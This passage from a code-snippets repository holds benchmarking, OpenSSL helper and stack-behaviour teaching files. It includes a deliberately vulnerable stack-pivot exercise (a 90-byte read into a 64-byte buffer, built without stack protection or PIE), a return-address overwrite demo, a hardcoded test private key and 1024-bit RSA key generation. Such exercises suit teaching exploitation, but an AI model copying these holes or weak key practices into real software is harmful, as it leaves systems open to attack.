EVP_PKEY_keygen(pctx, &pkey); 43 | EVP_PKEY_CTX_free(pctx); 44 | 45 | write_private_key_to_file(PRIVATE_KEYFILE, pkey); 46 | write_public_key_to_file(PUBLIC_KEYFILE, pkey); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /ssl-dev/ed25519/measure.h: -------------------------------------------------------------------------------- 1 | #ifndef MEASURE_H_ 2 | #define MEASURE_H_ 1 3 | 4 | /* Return a timestamp for use to measure the start of a run. */ 5 | __attribute__ ((always_inline)) static inline uint64_t bench_start(void) 6 | { 7 | unsigned int cycles_low, cycles_high; 8 | 9 | asm volatile( "CPUID\n\t" // serialize 10 | "RDTSC\n\t" // read clock 11 | "MOV %%edx, %0\n\t" 12 | "MOV %%eax, %1\n\t" 13 | : "=r" (cycles_high), "=r" (cycles_low) 14 | :: "%rax", "%rbx", "%rcx", "%rdx" ); 15 | 16 | return ((uint64_t) cycles_high << 32) | cycles_low; 17 | } 18 | 19 | /* Return a timestamp for use to measure the end of a run. */ 20 | __attribute__ ((always_inline)) static inline uint64_t bench_end(void) 21 | { 22 | unsigned int cycles_low, cycles_high; 23 | 24 | asm volatile( "RDTSCP\n\t" /* read clock + serialize */ 25 | "MOV %%edx, %0\n\t" 26 | "MOV %%eax, %1\n\t" 27 | "CPUID\n\t" /* serialize -- but outside clock region! */ 28 | : "=r" (cycles_high), "=r" (cycles_low) 29 | :: "%rax", "%rbx", "%rcx", "%rdx" ); 30 | 31 | return ((uint64_t) cycles_high << 32) | cycles_low; 32 | } 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /ssl-dev/ed25519/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | private_key=$(echo -e "-----BEGIN PRIVATE KEY-----\nMC4CAQAwBQYDK2VwBCIEIA91xb59+0AMsIVI5WB2A07qmk0aUc+CPftTuI1yVDRf\n-----END PRIVATE KEY-----") 4 | public_key=$(echo -e "-----BEGIN PUBLIC KEY-----\nMCowBQYDK2VwAyEAC3S5qA2LRbPpxYPZZZzbs+k/9inr0spoP5/G7RexZAc=\n-----END PUBLIC KEY-----") 5 | text="loremipsum" 6 | signature=$(echo -e "\x18\x54\x6b\xd2\x0e\x0d\x5e\xc3\x46\xb7\xc1\xc1\x62\xb9\x19\x1b\x51\xa0\xf0\x4a\x06\xfc\xbc\x1b\x7f\x05\x20\x2f\xdf\x54\x3c\xbd\x62\xd9\x79\x97\xff\x8c\xea\x7d\x9a\xdc\x47\x5f\x60\x46\x13\x78\xa6\x5a\xd1\x08\x6e\x6a\xff\x45\x86\x57\xa6\x5e\x16\x23\x24\x07") 7 | 8 | ./ed25519 9 | ./ed25519 s "$test" "$private_key" 10000 10 | ./ed25519 v "$text" "$public_key" "$signature" 10000 11 | -------------------------------------------------------------------------------- /ssl/ca_sign: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | openssl x509 -req -days 365 -in $1.csr -CA $2.crt -CAkey $2.key -set_serial 01 -out $1.crt 4 | -------------------------------------------------------------------------------- /ssl/create_csr: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | openssl req -new -key $1.key -out $1.csr 4 | -------------------------------------------------------------------------------- /ssl/create_key: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | openssl genrsa -out $1.key 1024 4 | -------------------------------------------------------------------------------- /ssl/create_self_signed: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | openssl x509 -req -days 365 -in $1.csr -signkey $1.key -out $1.crt 4 | -------------------------------------------------------------------------------- /stack-pivot/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=4 -fno-PIC 2 | LDFLAGS = -no-pie 3 | 4 | .PHONY: all clean 5 | 6 | all: vuln 7 | 8 | vuln: vuln.o 9 | 10 | vuln.o: vuln.c 11 | $(CC) $(CFLAGS) -c -o $@ $< 12 | 13 | clean: 14 | -rm -f *~ 15 | -rm -f vuln.o 16 | -rm -f vuln 17 | -rm -f core 18 | -rm -f peda-session* 19 | -------------------------------------------------------------------------------- /stack-pivot/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/stack-pivot/vuln -------------------------------------------------------------------------------- /stack-pivot/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* global test variable */ 4 | static size_t g = 0x42424242; 5 | static char g_array[4096]; 6 | 7 | static void warcraft(void) 8 | { 9 | puts("chieftain"); 10 | } 11 | 12 | static void diablo(size_t a, size_t b) 13 | { 14 | if (a == 0x12345678 && b == 0xaabbccdd) 15 | puts("worldstone"); 16 | } 17 | 18 | static void starcraft(void) 19 | { 20 | if (g == 0xc001face) 21 | puts("koprulu"); 22 | } 23 | 24 | static void reader(void) 25 | { 26 | char buffer[64]; 27 | 28 | printf("gimme initial message: "); 29 | fgets(g_array, 4096, stdin); 30 | 31 | printf("gimme message: "); 32 | fgets(buffer, 90, stdin); 33 | printf("hello, %s\n", buffer); 34 | } 35 | 36 | int main(void) 37 | { 38 | puts("hello, blizzard!"); 39 | 40 | reader(); 41 | 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /stack-protector/.gitignore: -------------------------------------------------------------------------------- 1 | /stack-smash-protector 2 | /stack-smash-no-protector 3 | -------------------------------------------------------------------------------- /stack-protector/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: stack-smash-no-protector stack-smash-protector 6 | 7 | stack-smash-no-protector: stack-smash.c 8 | gcc -Wall -g -fno-stack-protector -o $@ $^ 9 | 10 | stack-smash-protector: stack-smash.c 11 | gcc -Wall -g -fstack-protector-strong -o $@ $^ 12 | 13 | clean: 14 | -rm -f stack-smash-protector stack-smash-no-protector 15 | -rm -f *~ 16 | -rm -f *.o 17 | -------------------------------------------------------------------------------- /stack-protector/stack-smash.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define print_stack(pos) \ 6 | do { \ 7 | unsigned long *address = 0; \ 8 | unsigned long value = 0; \ 9 | unsigned long *start = (unsigned long *) pos; \ 10 | int i = 0; \ 11 | \ 12 | printf("&address = %p\n", &address); \ 13 | printf("\taddress\t\tvalue\n"); \ 14 | printf("--------------------------------------\n"); \ 15 | for (i = 0; i < 12; i++) { \ 16 | address = start + i; \ 17 | value = *address; \ 18 | printf("\t%p\t\t0x%0lx\n", address, value); \ 19 | } \ 20 | } while (0) 21 | 22 | #define TEST_STRING "aaaaaaaaaaaaaaaaaaaaaaaaa" 23 | 24 | int main(void) 25 | { 26 | #ifdef USE_CHAR_ARRAY 27 | char a[24]; 28 | #else 29 | unsigned long a[3]; 30 | #endif 31 | memset(a, 0, sizeof(a)); 32 | memcpy(a, "bbbbbbbb", 8); 33 | 34 | printf("sizeof(a) = %lu, strlen(TEST_STRING) = %lu\n", sizeof(a), strlen(TEST_STRING)); 35 | print_stack(&a[0]); 36 | 37 | memcpy(&a[0], TEST_STRING, strlen(TEST_STRING)); 38 | 39 | print_stack(&a[0]); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /stack-underflow/.gitignore: -------------------------------------------------------------------------------- 1 | /stack-underflow 2 | -------------------------------------------------------------------------------- /stack-underflow/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -m32 2 | LDFLAGS = -m32 3 | 4 | .PHONY: all clean 5 | 6 | all: stack-underflow 7 | 8 | stack-underflow: stack-underflow.o 9 | 10 | clean: 11 | -rm -f *.o *~ stack-underflow 12 | -------------------------------------------------------------------------------- /stack-underflow/README.md: -------------------------------------------------------------------------------- 1 | When getting a page fault for accessing data that is under the current `sp` (_stack pointer_) value, the kernel uses an access cushion[1]. If the page fault address is beyond that cushion, the process gets an access violation exception (i.e. `SIGSEGV`, i.e. _Segmentation Fault_). 2 | 3 | The `stack-underflow.c` program checks this. If the page fault address is within that cushion (i.e. the underflow offset is `UNDERFLOW_ALMOST_FAULT`) the process will be OK. On the other hand, if the page fault address is outside that cushio (i.e. the underflow offset is `UNDERFLOW_WILL_FAULT`) the process will crash. 4 | 5 | I don't know why I need to add an extra small offset to the value shown in the kernel[1] in order to make it crash. 6 | 7 | [1] http://lxr.free-electrons.com/source/arch/x86/mm/fault.c?v=3.13#L1171 8 | -------------------------------------------------------------------------------- /stack-underflow/stack-underflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | * Underflow value is determined by the check the Linux kernel does for stack 5 | * access. 6 | * See: http://lxr.free-electrons.com/source/arch/x86/mm/fault.c?v=3.13#L1171 7 | * 8 | * If using UNDERFLOW_ALMOST_FAULT the program will be OK. 9 | * If using UNDERFLOW_WILL_FAULT the program will crash due to invalid memory 10 | * access (it gets a SIGSEGV). 11 | */ 12 | #define UNDERFLOW_ALMOST_FAULT (64 * 1024 + 32 * sizeof(unsigned long) - 1024) 13 | #define UNDERFLOW_WILL_FAULT (64 * 1024 + 32 * sizeof(unsigned long) + 1024) 14 | 15 | 16 | static int my_func(void) 17 | { 18 | /* 19 | * Allocate a large buffer on the stack to increase its size past the 20 | * initial stack allocation size. 21 | */ 22 | unsigned char buf[256*1024]; 23 | 24 | /* 25 | * Change to #if 1 if you want to use the stack pointer directly, 26 | * instead of the buffer address. 27 | */ 28 | #if 0 29 | unsigned char *esp; 30 | asm("movl %%esp, %0\n" :"=r"(esp)); 31 | 32 | * (esp - UNDERFLOW_ALMOST_FAULT) = 0x41; 33 | #else 34 | * (buf - UNDERFLOW_ALMOST_FAULT) = 0x41; 35 | #endif 36 | 37 | /* dumb return statement */ 38 | return * (buf - 5); 39 | } 40 | 41 | int main(void) 42 | { 43 | /* dumb function call */ 44 | printf ("%d\n", my_func()); 45 | 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /stack_access/.gitignore: -------------------------------------------------------------------------------- 1 | /stack_access 2 | -------------------------------------------------------------------------------- /stack_access/Makefile: -------------------------------------------------------------------------------- 1 | AS = nasm 2 | LDFLAGS = -m32 3 | 4 | .PHONY: all clean 5 | 6 | all: stack_access 7 | 8 | stack_access: stack_access.o 9 | 10 | stack_access.o: stack_access.asm 11 | $(AS) -f elf32 -o $@ $< 12 | 13 | clean: 14 | -rm -f *~ 15 | -rm -f stack_access.o stack_access 16 | -------------------------------------------------------------------------------- /stack_access/stack_access.asm: -------------------------------------------------------------------------------- 1 | extern sleep 2 | 3 | section .text 4 | 5 | global main 6 | 7 | main: 8 | push ebp 9 | mov ebp, esp 10 | 11 | push 10 12 | call sleep 13 | add esp, 4 14 | 15 | sub esp, 4 16 | mov dword [esp], 0x12345678 17 | 18 | sub esp, 1000 19 | mov dword [esp], 0x87654321 20 | mov dword [esp-16], 0xabcdef01 21 | mov dword [esp-24], 0xefcdab78 22 | mov dword [esp-32], 0x18726354 23 | ;mov dword [esp-100000], 0x54637281 24 | sub esp, 100000 25 | 26 | push 10 27 | call sleep 28 | add esp, 4 29 | 30 | mov dword [esp-60000], 0x54637281 31 | 32 | push 10 33 | call sleep 34 | add esp, 4 35 | 36 | sub esp, 100000 37 | mov dword [esp-60000], 0x54637281 38 | 39 | push 10 40 | call sleep 41 | add esp, 4 42 | 43 | ;;mov dword [esp-127900], 0x88776655 44 | 45 | leave 46 | ret 47 | -------------------------------------------------------------------------------- /stack_ovfl/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: stack_ovfl 6 | 7 | stack_ovfl: stack_ovfl.o 8 | 9 | clean: 10 | -rm -f *.o *~ stack_ovfl 11 | -------------------------------------------------------------------------------- /stack_ovfl/fun_hack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * fun_hack.c: simple buffer overflow program 3 | * 4 | * 2006 Razvan Deaconescu 5 | */ 6 | 7 | #include 8 | 9 | void fun_hack (void) 10 | { 11 | __asm__ ("movl %%edx, 4(%%ebp);" 12 | : 13 | : 14 | : "%edx"); 15 | 16 | printf ("hacked\n"); 17 | } 18 | 19 | void fun_orig (void) 20 | { 21 | int old_ret; 22 | int *ret; 23 | 24 | old_ret = * ((int *) &old_ret + 2); 25 | ret = (int *) &old_ret + 2; 26 | *ret = (int) fun_hack; 27 | 28 | printf ("original\n"); 29 | 30 | __asm__ ("movl %0, %%edx;" 31 | : 32 | : "g" (old_ret) 33 | : "%edx" 34 | ); 35 | } 36 | 37 | int main (void) 38 | { 39 | printf ("main before original\n"); 40 | 41 | fun_orig (); 42 | 43 | printf ("main after original\n"); 44 | 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /static/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall 2 | 3 | all: hw_dynamic_test hw_static_test 4 | 5 | hw_dynamic_test: ld_static_test.o 6 | $(CC) $^ -o $@ 7 | 8 | hw_static_test: ld_static_test.o 9 | $(CC) -static $^ -o $@ 10 | 11 | .PHONY: clean 12 | 13 | clean: 14 | -rm -f hw_dynamic_test hw_static_test *.o *~ 15 | -------------------------------------------------------------------------------- /static/ld_static_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main (void) 4 | { 5 | printf ("Hello, World!\n"); 6 | 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /swf-scripts/mypdf2swf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if test $# -ne 1; then 4 | echo "Usage: $0 pdf_file" 5 | exit 1 6 | fi 7 | 8 | PDF_FILE="$1" 9 | SWF_FILE=${PDF_FILE/%\.pdf/\.swf} 10 | 11 | if ! test -f $PDF_FILE; then 12 | echo "PDF file $PDF_FILE does not exist" 13 | exit 1 14 | fi 15 | 16 | echo "pdf is $PDF_FILE; swf is $SWF_FILE" 17 | pdf2swf -b $PDF_FILE -o $SWF_FILE 18 | 19 | exit 0 20 | -------------------------------------------------------------------------------- /tests/.gitignore: -------------------------------------------------------------------------------- 1 | /measure_time 2 | /badfd 3 | /endian 4 | /platform 5 | /stack_grow 6 | /struct_bit 7 | /tcp_new_sock 8 | /print-buffer 9 | -------------------------------------------------------------------------------- /tests/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # tests Makefile 3 | # 4 | 5 | CFLAGS = -Wall -g 6 | LDLIBS = -lrt 7 | 8 | all: endian struct_bit tcp_new_sock measure_time stack_grow badfd platform 9 | 10 | endian: endian.o 11 | 12 | struct_bit: struct_bit.o 13 | 14 | tcp_new_sock: tcp_new_sock.o 15 | 16 | measure_time: measure_time.o 17 | 18 | stack_grow: stack_grow.o 19 | 20 | badfd: badfd.o 21 | 22 | platform: platform.o 23 | 24 | .PHONY: clean 25 | 26 | clean: 27 | -rm -f endian struct_bit tcp_new_sock measure_time stack_grow badfd platform *~ *.o 28 | -------------------------------------------------------------------------------- /tests/badfd.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define MY_FD 42 9 | 10 | int main(void) 11 | { 12 | int fd = MY_FD; 13 | ssize_t nbytes; 14 | 15 | nbytes = write(fd, "hello", 6); 16 | if (nbytes < 0) { 17 | perror("write"); 18 | if (errno == EBADF) 19 | fprintf(stderr, "errno: EBADF\n"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /tests/bswap/.gitignore: -------------------------------------------------------------------------------- 1 | /bswap 2 | -------------------------------------------------------------------------------- /tests/bswap/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -nostdinc 2 | LDFLAGS = -static -nostdlib -nodefaultlibs -Wl,-emain 3 | 4 | all: bswap 5 | 6 | bswap: bswap.o 7 | 8 | bswap.o: bswap.c 9 | 10 | clean: 11 | -rm -f *~ 12 | -rm -f bswap.o 13 | -rm -f bswap 14 | -------------------------------------------------------------------------------- /tests/bswap/README.md: -------------------------------------------------------------------------------- 1 | This code snippet shows a difference in compiler behavior between GCC and Clang/LLVM. Clang will complain if you use a name for a macro and then reuse that name for a function; GCC doesnt't complain. 2 | 3 | In the `bswap.c` source code file, the `__bswap16`, `__bswap32` and `__bswap64` are first defined and macros and then as (inline) functions. Compiling it with GCC works: 4 | ``` 5 | $ CC=gcc make 6 | gcc -Wall -nostdinc -c -o bswap.o bswap.c 7 | bswap.c: In function ‘main’: 8 | bswap.c:42:16: warning: variable ‘g’ set but not used [-Wunused-but-set-variable] 9 | unsigned long g; 10 | ^ 11 | bswap.c:40:15: warning: variable ‘e’ set but not used [-Wunused-but-set-variable] 12 | unsigned int e; 13 | ^ 14 | bswap.c:38:17: warning: variable ‘c’ set but not used [-Wunused-but-set-variable] 15 | unsigned short c; 16 | ^ 17 | gcc -static -nostdlib -nodefaultlibs -Wl,-emain bswap.o -o bswap 18 | ``` 19 | 20 | But compiling it with Clang fails: 21 | ``` 22 | $ CC=clang make 23 | clang -Wall -nostdinc -c -o bswap.o bswap.c 24 | bswap.c:10:1: error: definition of builtin function '__builtin_bswap16' 25 | __bswap16(__uint16_t _x) 26 | ^ 27 | bswap.c:1:23: note: expanded from macro '__bswap16' 28 | #define __bswap16(_x) __builtin_bswap16(_x) 29 | ^ 30 | bswap.c:17:1: error: definition of builtin function '__builtin_bswap32' 31 | __bswap32(__uint32_t _x) 32 | ^ 33 | bswap.c:2:23: note: expanded from macro '__bswap32' 34 | #define __bswap32(_x) __builtin_bswap32(_x) 35 | ^ 36 | bswap.c:25:1: error: definition of builtin function '__builtin_bswap64' 37 | __bswap64(__uint64_t _x) 38 | ^ 39 | bswap.c:3:23: note: expanded from macro '__bswap64' 40 | #define __bswap64(_x) __builtin_bswap64(_x) 41 | ^ 42 | 3 errors generated. 43 | : recipe for target 'bswap.o' failed 44 | make: *** [bswap.o] Error 1 45 | ``` 46 | -------------------------------------------------------------------------------- /tests/bswap/bswap.c: -------------------------------------------------------------------------------- 1 | #define __bswap16(_x) __builtin_bswap16(_x) 2 | #define __bswap32(_x) __builtin_bswap32(_x) 3 | #define __bswap64(_x) __builtin_bswap64(_x) 4 | 5 | #define __uint16_t unsigned short 6 | #define __uint32_t unsigned int 7 | #define __uint64_t unsigned long long 8 | 9 | static __inline __uint16_t 10 | __bswap16(__uint16_t _x) 11 | { 12 | 13 | return ((__uint16_t)((_x >> 8) | ((_x << 8) & 0xff00))); 14 | } 15 | 16 | static __inline __uint32_t 17 | __bswap32(__uint32_t _x) 18 | { 19 | 20 | return ((__uint32_t)((_x >> 24) | ((_x >> 8) & 0xff00) | 21 | ((_x << 8) & 0xff0000) | ((_x << 24) & 0xff000000))); 22 | } 23 | 24 | static __inline __uint64_t 25 | __bswap64(__uint64_t _x) 26 | { 27 | 28 | return ((__uint64_t)((_x >> 56) | ((_x >> 40) & 0xff00) | 29 | ((_x >> 24) & 0xff0000) | ((_x >> 8) & 0xff000000) | 30 | ((_x << 8) & ((__uint64_t)0xff << 32)) | 31 | ((_x << 24) & ((__uint64_t)0xff << 40)) | 32 | ((_x << 40) & ((__uint64_t)0xff << 48)) | ((_x << 56)))); 33 | } 34 | 35 | int main(void) 36 | { 37 | unsigned short b = 0xaabb; 38 | unsigned short c; 39 | unsigned int d = 0xaabbccdd; 40 | unsigned int e; 41 | unsigned long f = 0xaabbccddeeff0011; 42 | unsigned long g; 43 | c = __bswap16(b); 44 | e = __bswap32(d); 45 | g = __bswap64(f); 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /tests/endian.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define TEST_VALUE 0x00000001 /* 1 (ro. unu, en. one, fr. une, de. einz) */ 5 | 6 | static void print_endianess (void) 7 | { 8 | #if __BYTE_ORDER == __LITTLE_ENDIAN 9 | printf ("System is little endian.\n"); 10 | #elif __BYTE_ORDER == __BIG_ENDIAN 11 | printf ("System is big endian.\n"); 12 | #else 13 | #error "Unknown endianess" 14 | #endif 15 | } 16 | 17 | int main (void) 18 | { 19 | unsigned int value = TEST_VALUE; 20 | unsigned char *ptr = (unsigned char *) &value; 21 | 22 | print_endianess(); 23 | printf("real: 0x%08x\n", value); 24 | printf("in memory: 0x%02x 0x%02x 0x%02x 0x%02x\n", *ptr, *(ptr+1), 25 | *(ptr+2), *(ptr+3)); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /tests/free-syscall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) 6 | { 7 | char *p; 8 | int i; 9 | 10 | for (i = 0; i < 10; i++) { 11 | p = strdup("abcdefghij"); 12 | printf("--- %d duplicate\n"); 13 | } 14 | 15 | printf("--- before free\n"); 16 | free(p); 17 | printf("--- after free\n"); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /tests/func-address.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) 6 | { 7 | long *ptr; 8 | 9 | ptr = (long *) main; 10 | 11 | printf("*ptr = %x\n", *ptr); 12 | *ptr = 0x1234; 13 | 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /tests/getopt_long.c: -------------------------------------------------------------------------------- 1 | /* 2 | * getopt_long.c: getopt_long(3) test case 3 | * 4 | * Shamelessly inspired from getopt_long man page 5 | */ 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | 12 | int main(int argc, char **argv) 13 | { 14 | int c; 15 | int digit_optind = 0; 16 | static struct option long_options[] = { 17 | {"add", 1, 0, 0}, 18 | {"append", 0, 0, 0}, 19 | {"delete", 1, 0, 0}, 20 | {"verbose", 0, 0, 0}, 21 | {"create", 1, 0, 'c'}, 22 | {"file", 1, 0, 0}, 23 | {0, 0, 0, 0} 24 | }; 25 | 26 | while (1) { 27 | int this_option_optind = optind ? optind : 1; 28 | int option_index = 0; 29 | c = getopt_long(argc, argv, "abc:d:012", 30 | long_options, &option_index); 31 | if (c == -1) 32 | break; 33 | 34 | switch (c) { 35 | case 0: 36 | printf("option %s", long_options[option_index].name); 37 | if (optarg) 38 | printf(" with arg %s", optarg); 39 | printf("\n"); 40 | break; 41 | 42 | case '0': 43 | case '1': 44 | case '2': 45 | if (digit_optind != 0 && digit_optind != this_option_optind) 46 | printf("digits occur in two different argv-elements.\n"); 47 | digit_optind = this_option_optind; 48 | printf("option %c\n", c); 49 | break; 50 | 51 | case 'a': 52 | printf("option a\n"); 53 | break; 54 | 55 | case 'b': 56 | printf("option b\n"); 57 | break; 58 | 59 | case 'c': 60 | printf("option c with value '%s'\n", optarg); 61 | break; 62 | 63 | case 'd': 64 | printf("option d with value '%s'\n", optarg); 65 | break; 66 | 67 | case '?': 68 | break; 69 | 70 | default: 71 | printf("?? getopt returned character code 0%o ??\n", c); 72 | } 73 | } 74 | 75 | if (optind < argc) { 76 | printf("non-option ARGV-elements: "); 77 | while (optind < argc) 78 | printf("%s ", argv[optind++]); 79 | printf("\n"); 80 | } 81 | 82 | exit(EXIT_SUCCESS); 83 | } 84 | -------------------------------------------------------------------------------- /tests/main-stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int f(int a, int b) 6 | { 7 | return a + b; 8 | } 9 | 10 | void g(void) 11 | { 12 | printf("ret = %d\n", f(1,2)); 13 | } 14 | 15 | int main(void) 16 | { 17 | printf("ret = %d\n", f(1,2)); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /tests/measure_time.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #define SEC_TO_USEC(s) ((s) * 1000 * 1000) 9 | #define NSEC_TO_USEC(s) ((s) / 1000) 10 | 11 | typedef struct timespec TIMETYPE; 12 | 13 | static TIMETYPE start_time; 14 | static TIMETYPE stop_time; 15 | 16 | static void get_time(TIMETYPE *time_ptr) 17 | { 18 | if (clock_gettime(CLOCK_REALTIME, time_ptr) < 0) { 19 | perror("clock_gettime"); 20 | exit(EXIT_FAILURE); 21 | } 22 | } 23 | 24 | static unsigned long us_time(TIMETYPE *time_ptr) 25 | { 26 | return SEC_TO_USEC(time_ptr->tv_sec) + NSEC_TO_USEC(time_ptr->tv_nsec); 27 | } 28 | 29 | static void do_measure1(void) 30 | { 31 | get_time(&start_time); 32 | 33 | { 34 | /* TODO: do action 1 */ 35 | sleep(1); /* just an example */ 36 | } 37 | 38 | get_time(&stop_time); 39 | 40 | printf(" * Duration in microseconds (no 1): %0lu\n", 41 | us_time(&stop_time) - us_time(&start_time)); 42 | } 43 | 44 | static void do_measure2(void) 45 | { 46 | get_time(&start_time); 47 | 48 | { 49 | /* TODO: do action 2 */ 50 | sleep(2); /* just an example */ 51 | } 52 | 53 | get_time(&stop_time); 54 | 55 | printf(" * Duration in microseconds (no 2): %0lu\n", 56 | us_time(&stop_time) - us_time(&start_time)); 57 | } 58 | 59 | int main(void) 60 | { 61 | do_measure1(); 62 | do_measure2(); 63 | 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /tests/mmap-shared.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define DO_READ 0 11 | #define DO_WRITE 1 12 | #define MY_MAP_TYPE DO_WRITE 13 | 14 | int main(void) 15 | { 16 | int fd; 17 | char *p; 18 | char buffer[8]; 19 | 20 | fd = open("a.test", O_RDWR | O_CREAT | O_TRUNC, 0644); 21 | if (fd < 0) { 22 | perror("open"); 23 | exit(EXIT_FAILURE); 24 | } 25 | 26 | ftruncate(fd, 4096); 27 | 28 | #if MY_MAP_TYPE == DO_READ 29 | p = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); 30 | #elif MY_MAP_TYPE == DO_WRITE 31 | p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 32 | #else 33 | #error "Unknown map type macro" 34 | #endif 35 | if (p == MAP_FAILED) { 36 | perror("mmap"); 37 | exit(EXIT_FAILURE); 38 | } 39 | 40 | printf("p[0] = %02x, p[1] = %02x, p[2] = %02x\n", p[0], p[1], p[2]); 41 | #if MY_MAP_TYPE == DO_WRITE 42 | sprintf(buffer, "%d", getpid()); 43 | memcpy(p, buffer, strlen(buffer)); 44 | #endif 45 | 46 | sleep(100); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /tests/platform.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #if defined (_WIN32) 4 | #define OS_STRING "Windows, 32 bit" 5 | #elif defined (__linux__) 6 | #define OS_STRING "Linux" 7 | #else 8 | #error "Unknown OS" 9 | #endif 10 | 11 | int main(void) 12 | { 13 | printf("OS: %s\n", OS_STRING); 14 | 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /tests/print-buffer.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | char buffer[128]; 6 | 7 | buffer[0] = 'a'; 8 | printf("buffer starts at: %p\n", buffer); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /tests/stack_grow.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | static int *p_fcaller; 4 | static int *p_fcalled; 5 | 6 | static void f2(void) 7 | { 8 | int f2_local; 9 | 10 | p_fcalled = &f2_local; 11 | 12 | if (p_fcalled > p_fcaller) 13 | printf("stack grows up\n"); 14 | else 15 | printf("stack grows down\n"); 16 | } 17 | 18 | void f1(void) 19 | { 20 | int f1_local; 21 | 22 | p_fcaller = &f1_local; 23 | f2(); 24 | } 25 | 26 | int main(void) 27 | { 28 | f1(); 29 | 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /tests/struct_bit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * does bitfield syntax affect structure size? 3 | */ 4 | 5 | #include 6 | 7 | struct { 8 | int a:1, b:2, c:3, d:26; 9 | } packed; 10 | 11 | struct { 12 | int a:1; 13 | int b:2; 14 | int c:3; 15 | int d:26; 16 | } unpacked; 17 | 18 | int main (void) 19 | { 20 | printf ("sizeof (packed) = %lu, sizeof (unpacked) = %lu\n", 21 | sizeof (packed), sizeof (unpacked)); 22 | 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /tests/tcp_new_sock.c: -------------------------------------------------------------------------------- 1 | /* 2 | * does a new socket (created from the accept call) have the same 3 | * port as the listening socket? 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define LISTEN_PORT 55555 14 | #define LISTEN_BACKLOG 5 15 | 16 | static inline void print_sock (struct sockaddr_in *addr, char *msg) 17 | { 18 | printf ("%s: %s:%d\n", msg, inet_ntoa (addr->sin_addr), 19 | ntohs (addr->sin_port)); 20 | } 21 | 22 | int main (void) 23 | { 24 | int lsock, csock; /* listening and connection socket */ 25 | struct sockaddr_in caddr; 26 | struct sockaddr_in laddr = { 27 | .sin_family = AF_INET, 28 | .sin_port = htons (LISTEN_PORT), 29 | .sin_addr = { 30 | .s_addr = htonl (INADDR_ANY), 31 | }, 32 | }; 33 | socklen_t len; 34 | 35 | lsock = socket (PF_INET, SOCK_STREAM, 0); 36 | if (lsock < 0) { 37 | perror ("socket"); 38 | exit (EXIT_FAILURE); 39 | } 40 | 41 | len = sizeof (laddr); 42 | if (bind (lsock, (struct sockaddr *) &laddr, len) < 0) { 43 | perror ("bind"); 44 | exit (EXIT_FAILURE); 45 | } 46 | 47 | if (listen (lsock, LISTEN_BACKLOG) < 0) { 48 | perror ("listen"); 49 | exit (EXIT_FAILURE); 50 | } 51 | 52 | csock = accept (lsock, NULL, NULL); 53 | if (csock < 0) { 54 | perror ("accept"); 55 | exit 